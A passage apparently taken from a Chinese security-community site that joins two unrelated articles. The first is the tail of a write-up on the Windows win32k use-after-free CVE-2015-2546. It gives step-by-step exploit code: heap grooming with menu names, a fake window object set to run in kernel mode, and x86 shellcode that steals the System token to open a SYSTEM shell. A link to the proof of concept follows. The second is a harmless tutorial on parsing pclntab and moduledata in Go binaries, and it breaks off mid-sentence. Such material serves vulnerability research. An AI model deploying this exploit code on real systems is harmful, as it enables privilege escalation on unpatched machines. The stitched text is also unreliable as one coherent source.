时类似地，在利用代码中使用批量创建普通窗口对象并设置窗口类菜单名称的方式来实现。
_利用代码批量设置窗口类菜单名称以占用被释放的菜单窗口对象_
在利用代码中注册 256 个随机类名称的窗口类以避免重复，并通过每个窗口类创建一个普通窗口对象。
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
_利用代码批量注册和创建普通窗口对象_
接着在利用代码自定义的窗口挂钩处理程序 `xxWindowHookProc` 判断 `message` 为 `0x1F0`
的情况的处理逻辑中，增加对前面批量创建的每个普通窗口对象设置窗口类菜单名称的调用：
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd; //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd; //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
_利用代码对批量创建的普通窗口对象设置窗口类菜单名称_
由于 `MENUNAME` 字段属于 `WCHAR` 字符串格式，因此在初始化缓冲区时需要将所有数值设置为不包含连续 `2` 字节为 `0`
的情况。通过调用函数 `SetClassLongW` 为目标窗口对象设置 `MENUNAME` 字段时，系统最终在内核中为窗口对象所属的窗口类
`tagCLS` 对象的成员域 `lpszMenuName` 分配并设置 `UNICODE` 字符串缓冲区。
由于成员域 `lpszMenuName` 指向的缓冲区和弹出菜单 `tagPOPUPMENU`
对象的缓冲区同样是进程配额的内存块，因此两者所占用的额外内存大小相同，只需要将在利用代码中为每个窗口对象设置的 `MENUNAME` 缓冲区长度设置为与
`tagPOPUPMENU` 大小相同的长度，那么通常情况下在内核中总有一个窗口对象的 `MENUNAME`
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中，成为伪造的根弹出菜单 `tagPOPUPMENU` 对象。
这样一来，由于占用原位置的弹出菜单对象各个成员域被填充了 `0xdddddddd` 这种无意义的地址，因此在函数
`xxxMNHideNextHierarchy` 中访问成员域时将会触发缺页异常导致系统 BSOD
的发生。接下来构造伪造的子菜单窗口对象，并使占位的目标弹出菜单对象成员域 `spwndPrevPopup` 指向伪造对象的地址。
kd> dc ebx
fd602df0 dddddddd dddddddd dddddddd dddddddd ................
fd602e00 dddddddd dddddddd dddddddd dddddddd ................
fd602e10 dddddddd dddddddd dddddddd dddddddd ................
fd602e20 00000000 85dde030 00070008 69707355 ....0.......Uspi
fd602e30 ff4e22c8 92662f70 0084d032 00000000 ."N.p/f.2.......
fd602e40 0023a8e4 00000000 00020910 000c0fc0 ..#.............
fd602e50 00000460 00000000 00000004 00000000 `...............
fd602e60 46340007 64667454 8779d438 87c5d970 ..4FTtfd8.y.p...
_占用原位置的弹出菜单对象各个成员域的数据_
* * *
**内核利用的准备工作**
在利用代码的早期阶段定义结构体 `SHELLCODE` 以存储当前进程的 PID 以及关键内核对象成员域的偏移值和内核利用成功反馈变量，并存储
ShellCode 代码的入口点。
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
_利用代码定义的 SHELLCODE 结构体_
在用户进程中分配 `0x1000` 字节大小的 `RWX` 内存块用来作为结构体 `SHELLCODE`
的对象实例，初始化对象的各个成员域，将内核利用函数的代码完整拷贝到以成员域 `pfnWindProc` 地址作为起始的 ShellCode 代码内存区域。
接下来在分配的内存块后段划分出 `0xb0` 字节大小的区域用作伪造的子菜单窗口 `tagWND` 对象，使其成员标志位
`bServerSideWindowProc` 置位（决定消息处理函数在内核上下文直接执行），并将消息处理函数成员域 `lpfnWndProc` 修改为
ShellCode 代码的首地址。后续的实际内核利用的操作将通过这里的 ShellCode 代码在内核上下文中进行。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);
ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000; //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
在验证代码自定义的窗口挂钩处理函数中，将原本为成员域 `spwndNextPopup` 和 `spwndActivePopup` 赋值的
`0xdddddddd` 改成在此处伪造的目标菜单窗口对象 `ptagWNDFake` 的地址。
dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup
_更新占用原位置的弹出菜单对象部分成员域的值_
由于在函数 `xxxSendMessageTimeout`
中存在对目标窗口对象指向线程信息对象的成员域的判断，因此利用代码需要将伪造的菜单窗口对象指针成员域 `pti` 赋值为当前线程的线程信息对象地址，这可以通过
`HMValidateHandle` 内核地址泄露技术根据前面创建的任意窗口对象句柄来实现。成员域 `pti` 在内核利用的函数代码中还将用作定位进程体
`EPROCESS` 链表的线索。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;
_赋值伪造的菜单窗口对象的菜单信息结构体指针成员域_
* * *
**内核利用的函数代码**
用来实施内核利用的 ShellCode 函数代码将作为伪造的子菜单窗口对象的内核模式消息处理函数在内核上下文中执行。函数的执行通过函数
`xxxMNHideNextHierarchy` 向目标子菜单窗口对象发送 `0x1E5` 消息来触发。
在 ShellCode 函数开始位置，判断通过参数传入的消息是否是 `0x1E5`，不是的情况则直接返回。
push ebp;
mov ebp, esp;
mov eax, dword ptr[ebp + 0Ch];
cmp eax, 01E5h;
jne LocRETURN;
在 32 位的 Windows 操作系统中，用户上下文代码段寄存器 `CS` 值为 `0x1B`，借助这个特性，在 `ShellCode`
函数代码中判断当前执行上下文是否在用户模式下，如是则直接返回。
mov ax, cs;
cmp ax, 1Bh;
je LocRETURN;
首先备份当前所有通用寄存器的数值在栈上，接下来通过 `CALL-POP` 技术获取当前 `EIP` 执行指令的地址，并根据相对偏移计算出存储在
ShellCode 函数代码前面位置的结构体 `SHELLCODE` 对象的首地址：
cld;
pushad;
call $+5;
pop edx;
sub edx, 35h;
接下来获取先前存储在伪造子菜单窗口对象成员域 `pti` 中的线程信息 `tagTHREADINFO` 对象指针，并继续获取线程信息对象中存储的进程信息
`tagPROCESSINFO` 对象指针，并获取对应进程的进程体 `EPROCESS` 对象指针。各个成员域的偏移在结构体 `SHELLCODE`
对象中存储。
LocGetEPROCESS:
mov ecx, dword ptr[ebp + 8];
mov ecx, dword ptr[ecx + 8];
mov ebx, dword ptr[edx + 08h];
mov ecx, dword ptr[ebx + ecx];
mov ecx, dword ptr[ecx];
mov ebx, dword ptr[edx + 0Ch];
mov eax, dword ptr[edx + 4];
接下来根据进程体 `EPROCESS` 对象的成员域 `ActiveProcessLinks` 双向链表和成员域 `UniqueProcessId`
进程标识符找到当前进程的 `EPROCESS` 地址。由于 `UniqueProcessId` 是成员域 `ActiveProcessLinks`
的前一个成员域，因此直接使用 `SHELLCODE` 对象中存储的 `ActiveProcessLinks` 偏移值来定位
`UniqueProcessId` 的位置。
push ecx;
LocForCurrentPROCESS:
cmp dword ptr[ebx + ecx - 4], eax;
je LocFoundCURRENT;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForCurrentPROCESS;
LocFoundCURRENT:
mov edi,ecx;
pop ecx;
紧接着继续遍历进程体 `EPROCESS` 对象链表，以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr[ebx + ecx - 4], 4;
je LocFoundSYSTEM;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForSystemPROCESS;
LocFoundSYSTEM :
mov esi, ecx;
执行到这一步已定位到当前进程和 System 进程的进程体对象地址，接下来就使用 System 进程的成员域 `Token` 指针替换当前进程的
`Token` 指针。
mov eax, dword ptr[edx + 10h];
add esi, eax;
add edi, eax;
lods dword ptr[esi];
stos dword ptr es : [edi];
此时当前进程已拥有 System 进程的 `Token` 指针，额外增加的引用需要手动为目标 `Token` 对象增加对象引用计数。在 NT
执行体模块中大多数内核对象都是以 `OBJECT_HEADER` 结构体作为头部结构：
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置，内核对象起始于 `OBJECT_HEADER` 结构体的 `Body` 成员域。手动增加指针引用需要对成员域
`PointerCount` 进行自增。
and eax, 0FFFFFFF8h;
add dword ptr[eax - 18h], 2;
接下来大功告成，置位 `SHELLCODE` 对象成员域 `bExploited`
已向用户进程传递利用成功的反馈信号。恢复前面备份的通用寄存器的数值到寄存器中。
mov dword ptr[edx + 14h], 1;
popad;
xor eax, eax;
LocRETURN:
leave;
ret 10h;
在函数末尾设置 5 个 `int 3` 指令，以便在前面拷贝内核利用的函数代码时能够定位到函数的末尾。
* * *
**提权成功**
在自定义的事件通知处理程序 `xxWindowEventProc` 函数中，待发送 `WM_MOUSEMOVE` 的函数 `SendMessage`
调用返回后，增加对 `SHELLCODE` 对象的内核利用反馈变量成员域 `bExploited` 数值的判断：
if (pvShellCode->bExploited)
{
bDoneExploit = TRUE;
}
_自定义事件通知处理程序增加对内核利用反馈变量的判断_
如果变量已被赋值，则将全局变量 `bDoneExploit` 赋值为 `TRUE`。通过主线程监听全局变量 `bDoneExploit`
是否被赋值，并在后续代码逻辑中创建新的命令提示符进程。
_启动的命令提示符进程已属于 System 用户身份_
可以观测到新启动的命令提示符已属于 System 用户身份。
* * *
**后记**
这个漏洞和 CVE-2017-0263 都是 `tagPOPUPMENU` 对象的释放后重用漏洞，不同的是利用的时机：CVE-2017-0263
是在内核函数释放目标弹出菜单对象之后才得以满足触发条件，而本分析中的 CVE-2015-2546
需要用户进程的利用代码主动触发释放目标弹出菜单对象的逻辑。对该漏洞的利用总体来讲比 CVE-2017-0263 的利用更为简单，对
CVE-2017-0263 的利用代码几乎可以不经修改地对该漏洞使用，同时也没有任何被破坏需要修复的内核对象存在。
#### 0x5 链接
本分析的 POC 下载
<https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp>
从 CVE-2017-0263 漏洞分析到菜单管理组件
<https://xiaodaozhi.com/exploit/71.html>
Kernel Attacks through User-Mode Callbacks
<http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf>
sam-b/windows_kernel_address_leaks
<https://github.com/sam-b/windows_kernel_address_leaks>
Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege
Escalation Zero-Days
<https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf>
CVE-2015-2546：从补丁比对到Exploit
<http://xlab.baidu.com/cve-2015-2546%EF%BC%9A%E4%BB%8E%E8%A1%A5%E4%B8%81%E6%AF%94%E5%AF%B9%E5%88%B0exploit/>
WM_MOUSEMOVE message
<https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx>
* * * | 社区文章 |
# 七夕—Go二进制文件逆向分析从基础到进阶——MetaInfo、函数符号和源码文件路径列表
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 书接前文，本文主要介绍 Go 二进制文件中 Meta Information 的解析，与 **函数符号** 和 **源码文件路径列表**
> 的提取。最后详细介绍一下 **Moduledata** 这个结构。
>
> 传送门： [Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)
## 5\. Meta information
### 5.1 Go Build ID
每一个 Go 二进制文件内，都有一个独一无二的 Build ID，详情参考
[src/cmd/go/internal/work/buildid.go](https://golang.org/src/cmd/go/internal/work/buildid.go)
。Go Build ID 可以用以下命令来查看：
$ go tool buildid <GoBinaryFilePath>
对于 ELF 文件，也可以用 **readelf** 命令查看，不过看到的只是 Hex String：
转换一下上图的 Hex String，就是 `$ go buildid tracker_nonstrip` 的显示结果了：
另外，如果是用 **gccgo** 编译的 ELF 文件，用 **file** 命令 或者 **readelf** 命令还能看到 **[GNU Build
ID](https://fedoraproject.org/wiki/Releases/FeatureBuildId)** ，注意区分一下：
Build ID 是 Go 二进制文件中的元信息之一，但是对逆向分析二进制文件并没有什么实际帮助，本文只做简单介绍。
### 5.2 Go Version
Go 二进制文件中，还会把构建本文件的 Go 语言版本号打包进去。查看方式有以下 2 种：
1. 通过 IDAPro 中的 strings 检索：
2. 通过 Go 语言官方命令 `$ go version [FILE]` ，该命令不指定文件则打印本地安装的 Go 语言版本，指定文件则打印目标文件对应的 Go 语言版本：
### 5.3 GOROOT
**GOROOT** 是 Go 语言的安装路径，里面有 Go 的标准库和自带的命令行工具。一般来说，Go 的二进制文件中都会把 **GOROOT**
打包进去，并在 `runtime.GOROOT()` 函数中会用到这个值。比如某 Go 样本中打包的 `runtime.GOROOT()`
函数，可以看到构建该样本所在主机的 **GOROOT** 路径是 `/usr/lib/go` ：
看 Go 标准库中 `runtime.GOROOT()` 函数的[源码](https://golang.org/src/runtime/extern.go)
，会发现这个路径其实叫 **sys.DefaultGoroot** ：
至于如何提取这个字符串，就需要在 IDAPro 中先把函数名符号恢复出来，然后根据函数名找到 `runtime.GOROOT()`
这个函数，最后在这个函数中提取出 **sys.DefaultGoroot** 的值。提取方法可能有多种， **[go_parser for IDAPro
中的方法](https://github.com/0xjiayu/go_parser/blob/master/common.py#L80)**
是先解析该函数的 **FlowChart** ，找到最后带 return 的 FlowChart，然后再找出该值的地址。
那么知道了这个信息，对逆向分析有什么用处？后文描述如何提取、过滤 Go 二进制文件中的源码路径列表时会用到。
## 6\. pclntab
### 6.1 pclntab 介绍
**pclntab** 全名是 **Program Counter Line Table** ，可直译为 **程序计数器行数映射表** ， 在 Go 中也叫
**Runtime Symbol Table** ， 所以我把它里面包含的信息叫做 **RTSI(Runtime Symbol Information)**
。2013 年由 **Russ Cox** (Go 语言创始团队成员，核心开发者)从 **Plan9** 移植到 **Go 1.2**
上，至今没有太大变化。至于 PC(Program Counter)，是给 Go 语言的 runtime 来操作的，可以粗浅理解为 runtime
当前执行的程序代码(或指令)。
按 Russ Cox 在《 **[Go 1.2 Runtime Symbol
Information](http://golang.org/s/go12symtab)** 》中的说法，引入 **pcnlntab**
这个结构的最初动机，是为 **Stack Trace** 服务的。参考前文《
**[Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)** 》中
**redress** 工具的报错信息，当程序运行出错要 **panic** 的时候，runtime 需要知道当前的位置，层级关系如 pkg->src
file->function or method->line number，每一层的信息 runtime 都要知道。Go
就把这些信息结构化地打包到了编译出的二进制文件中。除此之外， **pcnlntab**
中还包含了栈的动态管理用到的栈帧信息、垃圾回收用到的栈变量的生命周期信息以及二进制文件涉及的所有源码文件路径信息。
**pclntab** 的概要结构如下（其中的 **strings** 指的是 Function name string、Source File Path
string，并不是整个程序中用到的所有 strings）：
> **pclntab** :
>
> * func table
> * _func structs
> * pcsp
> * psfile
> * pcline
> * pcdata
> * strings
> * file table
>
而我们最关心的信息，其实主要是 2 个： **函数表(func table)** 和 **源码文件路径列表(file table)** 。针对性的
**pclntab** 结构如下：
简单解释一下：
* **pclntab** 开头 4-Bytes 是从 Go1.2 至今不变的 **Magic Number** ： **0xFFFFFFFB** ；
* 第 5、6个字节为 0x00，暂无实际用途；
* 第 7 个字节代表 **instruction size quantum** ， **1** 为 x86, 4 为 ARM；
* 第 8 个字节为地址的大小，32bit 的为 4，64 bit 的为 8，至此的前 8 个字节可以看作是 **pclntab** 的 Header；
* 第 9 个字节开始是 **function table** 的起始位置，第一个 uintptr 元素为函数(pc, Program Counter) 的个数；
* 第 2 个 uintptr 元素为第 1 个函数(pc0) 的地址，第 3 个 uintptr 元素为第 1 个函数结构定义相对于 **pclntab** 的偏移，后面的函数信息就以此类推；
* 直到 function table 结束，下面就是 Source file table。Source file table 以 4 字节( **int32** )为单位，前 4 个字节代表 Source File 的数量，后面每一个 **int32** 都代表一个 Source File Path String 相对于 **pclntab** 的偏移；
* **uintptr** 代表一个指针类型，在 32bit 二进制文件中，等价于 **uint32** ，在 64bit 二进制文件中，等价于 **uint64** 。
**pclntab**
在源码中是[如此定义](https://golang.org/src/debug/gosym/pclntab.go)的，构建二进制文件时， **RTSI**
也是在二进制文件中按上面顺序排列的。所以，在 IDAPro 中解析 **pclntab** ，就按照如上说明来解析即可。
**[go_parser](https://github.com/0xjiayu/go_parser)** 在 IDAPro 中解析好的
**pclntab** 开头部分如下：
关于如何查找、定位到 **pclntab** ，下文详述。
### 6.2 函数表
函数表(func table)的起始地址，为 `(pclntab_addr + 8)`，第一个元素( uintptr **N** )
代表函数的个数，如上图中的 **0x1C3A** 。
解析来就是每两个 uintptr 元素为一组，即 `(func_addr,
func_struct_offset)`，每组第一个元素为函数的地址，第二个元素为函数结构体定义相对于 **pclntab** 起始地址的偏移。即：
func_struct_addr = pclntab_addr + func_struct_offset
# 以上图第一个函数 internal_cpu_Initialize() 为例，pclntab 的地址为 0x8FBFA0，它的 func_struct_offset 为 0x1C3C0
# 那么它的 func struct address 为：
0x8FBFA0 + 0x1C3C0 = 0x918360
地址 0x918360 处的 Function Struct 是什么模样？下图为
**[go_parser](https://github.com/0xjiayu/go_parser)** 在 IDAPro 中解析好的结果：
Function Struct 在 Russ Cox 的《 **[Go 1.2 Runtime Symbol
Information](http://golang.org/s/go12symtab)** 》有介绍：
struct Func
{
uintptr entry; // start pc
int32 name; // name (offset to C string)
int32 args; // size of arguments passed to function
int32 frame; // size of function frame, including saved caller PC
int32 pcsp; // pcsp table (offset to pcvalue table)
int32 pcfile; // pcfile table (offset to pcvalue table)
int32 pcln; // pcln table (offset to pcvalue table)
int32 nfuncdata; // number of entries in funcdata list
int32 npcdata; // number of entries in pcdata list
};
对于逆向分析来说，这里最有用的信息，就是 **函数名** 了。如上图所示，函数名是一个以 `0x00` 结尾的 C-String。在 Function
Struct 中，第二个元素只是 int32 类型的偏移值，而函数名字符串的地址，则用以下方式计算得出：
func_name_addr = pclntab_addr + Dword(func_stuct_addr + sizeof(uintptr))
# 比如上面函数 internal_cpu_Initialize() 的 func_struct_addr 为 0x918360，
# 它的 Func Name String Offset 为 0x1C408，那么它的 Func Name String Address 就是
0x8FBFA0(pclntab_addr) + 0x1C408 = 0x9183A8
如此一来，就从 Go 二进制文件中恢复出了一个函数的名字。用这种方式遍历 Function Table，便可以 **恢复所有函数名** 。
有的师傅可能还会问，Function Struct 中第 3 个元素 **args**
，有没有对逆向分析有用的信息？如果知道函数的参数、返回值信息，岂不更爽。这个……曾经有，现在，真没有了。在 Go 标准库源码
**[src/debug/gosym/symtab.go](https://golang.org/src/debug/gosym/symtab.go)**
中解析这个 Function Struct 的一个类型定义中，有两条注释，说 Go 1.3 之后就没这种信息了：
另外，还有一些函数用上面的方式无法解析，是编译器做 **循环展开** 时自动生成的匿名函数，也叫 **[Duff’s
Device](//en.wikipedia.org/wiki/Duff's_device))**，函数体型如下图：
这样的函数知道它是用来连续操作内存(拷贝、清零等等)的就可以。
### 6.3 源码文件路径
在 **pclntab** 中，函数表下面隔一个 uintptr 的位置，就是源码文件表(Srouce File Table) 的 **偏移** ，长度为
4-Bytes：
这个偏移，是相对 **pclntab** 的起始地址来说的。接着上面的例子， **pclntab** 的地址为 0x8FBFA0，此处偏移量为
0x22FDD0 ，那么源码文件路径列表的地址就是：
srcfiletab_addr = pclntab_addr + srcfiletab_offset
0x8FBFA0 + 0x22FDD0 = 0xB2BD70
在 IDAPro 中，0xB2BD70 处 **[go_parser](https://github.com/0xjiayu/go_parser)**
解析好的效果如下：
Source File Table 中的元素全都以 4-Bytes(uint32)
为单位，第一个元素(0x2CF)是本二进制文件涉及的所有源码文件的个数，包括标准库的源码文件、第三方 Pacakge
的源码文件以及当前项目的源码文件。后续每个 uint32 元素代表一个相对于 **pclntab** 的偏移量，该偏移量加上 **pclntab**
的起始地址，即为相应源码文件路径字符串的起始地址。每个源码文件路径名都是以 `0x00` 结尾的 C-String。
**[go_parser](https://github.com/0xjiayu/go_parser)**
对此的处理，是计算出每个偏移量对应的地址，然后创建字符串，并为当前偏移所在的地址创建 data reference，在 IDAPro 中双击 data
reference 即可跳转到相应的字符串地址。比如，第一个源码文件的偏移量为 0x239134，那么它对应的实际地址为：
0x8FBFA0(pclntab_addr) + 0x239134 = 0xB350D4
查看地址 0xB350D4 处的字符串即可印证：
另外， **[go_parser](https://github.com/0xjiayu/go_parser)** 如果成功定位到
**runtime.GOROOT()** 函数，并解析出 **sys.DefaultGoroot**
的值，还会根据这个值过滤掉所有标准库源码文件路径和第三方 Package 源码文件路径，在 IDAPro 的 Console
中只打印本项目相关的所有源码文件路径；如果没能提取出 **sys.DefaultGoroot** ，则会打印所有源码文件路径。DDG
样本中的源码文件路径列表如下所示(IDAPro Console)：
## 7\. moduledata
### 7.1 moduledata 介绍
在 Go 语言的体系中，Module 是比 Package 更高层次的概念，具体表现在一个 Module 中可以包含多个不同的 Package，而每个
Package 中可以包含多个目录和很多的源码文件。
> **“A module is a collection of related Go packages that are versioned
> together as a single unit.”***
> _— Go Module Docs_
详情参考：[《 **Go Modules in Real Life** 》](https://medium.com/@ckeyes88/go-modules-in-real-life-87a21fb4d8aa)
相应地， **Moduledata** 在 Go 二进制文件中也是一个更高层次的数据结构，它包含很多其他结构的索引信息，可以看作是 Go 二进制文件中
RTSI(Runtime Symbol Information) 和 RTTI(Runtime Type Information) 的 **地图** 。
**Moduledata** [源码定义](https://golang.org/src/runtime/symtab.go)如下(关键字段看注释)：
type moduledata struct {
pclntable []byte // pclntab address
ftab []functab // function table address
filetab []uint32 // source file table address
findfunctab uintptr
minpc, maxpc uintptr // minpc: first pc(function) address
text, etext uintptr // [.text] section start/end address
noptrdata, enoptrdata uintptr
data, edata uintptr // [.data] section start/end address
bss, ebss uintptr // [.bss] section start/end address
noptrbss, enoptrbss uintptr // [.noptrbss] section start/end address
end, gcdata, gcbss uintptr
types, etypes uintptr // types data start/end address
textsectmap []textsect
typelinks []int32 // offset table for types
itablinks []*itab // interface table
ptab []ptabEntry
pluginpath string
pkghashes []modulehash
modulename string
modulehashes []modulehash
hasmain uint8 // 1 if module contains the main function, 0 otherwise
gcdatamask, gcbssmask bitvector
typemap map[typeOff]*_type // offset to *_rtype in previous module
bad bool // module failed to load and should be ignored
next *moduledata
}
根据 **Moduledata** 的定义，Moduledata 是可以串成链表的形式的，而一个完整的可执行 Go 二进制文件中，只有一个
**firstmoduledata** 包含如上完整的字段。简单介绍一下关键字段：
* 第 1 个字段 **pclntable** ，即为 **pclntab** 的地址；
* 第 2 个字段 **ftab** ，为 **pclntab** 中 Function Table 的地址(=pclntab_addr + 8)；
* 第 3 个字段 **filetab** ，为 **pclntab** 中 Source File Table 的地址；
* 第 5 个字段 **minpc** ，为 **pclntab** 中第一个函数的起始地址；
* 第 7 个字段 **text** ，在普通二进制文件中，对应于 [.text] section 的起始地址；在 PIE 二进制文件中则没有这个要求；
* 字段 **types** ，为存放程序中所有数据类型定义信息数据的起始地址，一般对应于 [.rodata] section 的地址；
* 字段 **typelinks** ，为每个数据类型相对于 **types** 地址的偏移表，该字段与 **types** 字段在后文解析 RTTI 时要用到；
* 字段 **itablinks** ，则是 Interface Table 的起始地址，该字段解析 Interface Table 时要用到。
**[go_parser](https://github.com/0xjiayu/go_parser)** 在 IDAPro 中对
**firstmoduledata** 的解析结果示例如下：
需要注意的是，Go 语言中，一个 Slice 类型数据的底层定义要用到 3 个元素：(Data Address, Length, Capacity)。所以在
IDAPro 中看某个 Slice 类型的字段，要一次看 3 个 uintptr 元素。
### 7.2 firstmoduledata 定位
通过上面的介绍可以知道，如果在 Go 二进制文件中事先找到 **firstmoduledata**
这个结构，然后在这个结构中就可以按图索骥找到其他我们感兴趣的信息。那么如何在一个 Go 二进制文件中精准定位到 **firstmoduledata** 呢？
很直观就想到 **pclntab** ，原因有两点：一是它对应于 **firstmoduledata** 结构的第一个字段；最主要的是
**pclntab** 包含的信息丰富，起始位置还有独特的 4-Bytes 的 Magic Number。一旦找到了 **pclntab** ，就可以定位到
**firstmoduledata** 。
#### 7.2.1 定位 pclntab
定位 **pclntab** 的方法，公开的相关工具里用的最多的，是根据二进制文件中的 Section Name 来定位。因为平常见到的 Go
二进制文件，PE 文件和 ELF 文件中 `.gopclntab` Section 就对应于 **pclntab** 结构，MachO 文件中
`__gopclntab` Section 对应于 **pclntab** 结构。
然而 **这种方法并不靠谱** 。
最主要的原因，是 **PIE** 二进制文件。PIE 全称为 **Position Independent Executable** ，意思是
**地址无关的可执行文件** ，这个类型的二进制文件结合 ASLR 技术可以加强 Go 二进制文件自身安全性。这对 Go
自身的内存安全机制来说，是个锦上添花的特性。Go 的 **build/install** 命令在构建二进制文件时，有几个 **buildmode** 选项：
➜ go help buildmode
The 'go build' and 'go install' commands take a -buildmode argument which
indicates which kind of object file is to be built. Currently supported values
are:
-buildmode=archive
Build the listed non-main packages into .a files. Packages named
main are ignored.
-buildmode=c-archive
Build the listed main package, plus all packages it imports,
into a C archive file. The only callable symbols will be those
functions exported using a cgo //export comment. Requires
exactly one main package to be listed.
-buildmode=c-shared
Build the listed main package, plus all packages it imports,
into a C shared library. The only callable symbols will
be those functions exported using a cgo //export comment.
Requires exactly one main package to be listed.
-buildmode=default
Listed main packages are built into executables and listed
non-main packages are built into .a files (the default
behavior).
-buildmode=shared
Combine all the listed non-main packages into a single shared
library that will be used when building with the -linkshared
option. Packages named main are ignored.
-buildmode=exe
Build the listed main packages and everything they import into
executables. Packages not named main are ignored.
-buildmode=pie
Build the listed main packages and everything they import into
position independent executables (PIE). Packages not named
main are ignored.
-buildmode=plugin
Build the listed main packages, plus all packages that they
import, into a Go plugin. Packages not named main are ignored.
Go 在构建可执行 ELF 文件时，目前还是默认使用 `-buildmode=exe`，而从 2019 年 4 月底 Go 语言官方 **[Change
Log 203606](https://go-review.googlesource.com/c/go/+/203606/)** 开始，在 Windows
上构建可执行 PE 文件时，则会默认使用 `-buildmode=pie`：
下图是同一个项目，用 3 种不同的编译方式生成的可执行 ELF 文件 Section Headers 对比，从左至右编译方式依次为：
1. go build
2. go build -ldflags “-s -w”
3. go build -buildmode=pie -ldflags “-s -w”
可以看到，第三种编译方式生成的 PIE 文件，是没有 `.gopclntab` 这个 Section 的，而是多了一些重定向相关的
Section。这也是前文《[Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)》中
**redress** 工具报错的原因：它根据 Section Name 查找 **pclntabl** 的思路，对 PIE 文件无效。
既然靠 Section Name 来定位 **pclntab** 的方式不靠谱，其他能用的方式就只剩暴力搜索 **pclntab** 的 Magic
Number 了。通过研究发现，无论是否 PIE ，ELF 文件中的 **firstmoduledata** 总是在 `.noptrdata` 这个
Section 里，PE 文件中可能会在 `.data` 或 `.noptrdata` Section，而 MachO 文件中的
**firstmoduledata** 会在 `__noptrdata` Section 中。如此一来，就可以按 uintptr 为单元遍历目标
Section，检查每个 uintptr 指向的地址前 4 字节是否为 **pclntab** 的 Magic Number **0xFFFFFFFB**
，找到这个位置，就差不多了。伪码可表示为：
Dword(uintptr(possible_firstmoduledata_addr)) & 0xFFFFFFFF == MagicNumber
之所以说 **差不多** ，是因为二进制文件中可能还有别的值为 **0xFFFFFFFB** ，并不是所有这个值的位置都是 **pclntab**
。找到这个值，还要精准验证它是不是 **pclntab** ，以及上级数据结构是不是 **firstmoduledata** 。
#### 7.2.2 验证 firstmoduledata
按照上述思路，找到一个 **可能的** firstmoduledata 起始地址，其第一个 uintptr 元素指向的位置，前 4 字节为
**pclntab** 的 Magic Number。如果是真实的 **firstmoduledata** ，它内部是有几个字段可以跟
**pclntab** 中的数据进行交叉验证的，比如：
